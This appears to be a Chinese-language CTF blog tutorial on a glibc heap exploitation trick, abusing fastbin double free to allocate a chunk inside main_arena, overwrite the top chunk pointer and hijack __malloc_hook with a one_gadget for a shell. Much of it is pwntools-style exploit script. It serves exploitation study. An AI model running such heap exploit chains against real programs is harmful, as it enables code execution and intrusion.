main_arena利用

文章发布时间:

最后更新时间:

文章总字数:
895

预计阅读时间:
3 分钟

配合fastbin的一种攻击办法 fastbin主要是受限于size域的检测不能随便任意写 main_arena的存在弥补了这一缺点 下面来详细介绍一下

main_arena源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);

/* Flags (formerly in max_fast). */
int flags;

/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

glibc中的arena就是基于malloc_state这个结构体表示的 其大部分都无需我们深入了解

有两个部分值得我们重点关注和利用

fastbinsY数组和top指针

image-20230412132309510

可以看到 此时蓝框中的内容和fastbin链表上链表尾的chunk是一致的

同时红框代表的是top chunk的addr

实际利用

我们知道 限制fastbin attack任意写的根本在于size域的检测 但是利用fastbin链表头对于main_arena的影响不知道你有没有什么思路

如果我们利用double free 将原本的ptr_addr改为size 就可以达到满足size域的检测

1
2
3
4
5
6
7
8
9
add(0x10)
add(0x10)
delete(0)
delete(1)
delete(0)
add(0x10)
edit(2,8,p64(0x21))
add(0x10)
add(0x10)

image-20230412132828191

此时用同样的方法 就可以获取到main_arena的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
libc_addr = gift()
add(0x10)#0
add(0x10)#1
delete(0)
delete(1)
delete(0)
add(0x10)#2
edit(2,8,p64(0x31))
add(0x10)#3
add(0x10)#4
add(0x20)#5
add(0x20)#6
main_arena_addr = libc_addr + (0x7f62971c4b20-0x7f6296e00000)
delete(5)
delete(6)
delete(5)
add(0x20)#7
edit(7,8,p64(main_arena_addr))
add(0x20)#8
add(0x20)#9
add(0x20)#10

为了方便调试 所以libc基址我的调试程序自带了一个函数提供

image-20230412133358136

可以看到 此时的main_arena满足了申请一个0x20大小的chunk 于是我们的chunk10就劫持了这片区域

当然光靠这些当然攻击效果不显著 我们的目标是任意写 不知道你还记不记得正常分配一个chunk是如何进行的

chunk初始化后 如果bin中没有合适的chunk 那么就是通过分割top chunk来分配 而你还记不记得 top chunk的起始地址是存放在main_arena中的 如果我们把其覆盖为ptr_addr 就可以达到任意写的目的

并且通过上述的办法 我们已经获得了在main_arena上申请chunk的能力 只需要对上述的size进行扩大 使其能够覆盖到top chunk即可 如果题目对于chunk的大小进行了限制 仍然可以通过套娃的办法来延申可控制的范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
libc_addr = gift()
add(0x10)#0
add(0x10)#1
delete(0)
delete(1)
delete(0)
add(0x10)#2
edit(2,8,p64(0x81))
add(0x10)#3
add(0x10)#4
add(0x70)#5
add(0x70)#6
main_arena_addr = libc_addr + (0x7f62971c4b20-0x7f6296e00000)
delete(5)
delete(6)
delete(5)
add(0x70)#7
edit(7,8,p64(main_arena_addr))
add(0x70)#8
add(0x70)#9
add(0x70)#10
malloc_hook = libc_addr + libc.sym['__malloc_hook']
payload = p64(0)*9 + p64(malloc_hook-0x10)
edit(10,len(payload),payload)
add(0x20)#11
onegadget_addr = libc_addr + 0x4527a
edit(11,8,p64(onegadget_addr))
add(0x20)#12
io.interactive()

这里的chunk10就是控制main_arena上的top chunk

此时再次申请一个chunk11 获得的就是malloc_hook处的空间 但是不知道为啥0x10大小的chunk貌似不行 有待研究

随后就是触发onegadget获得shell 上述的exp属于有很多漏洞的题目 具体题目需要用到这种办法还需要自己研究

总结一下还是比较简单的一个小tip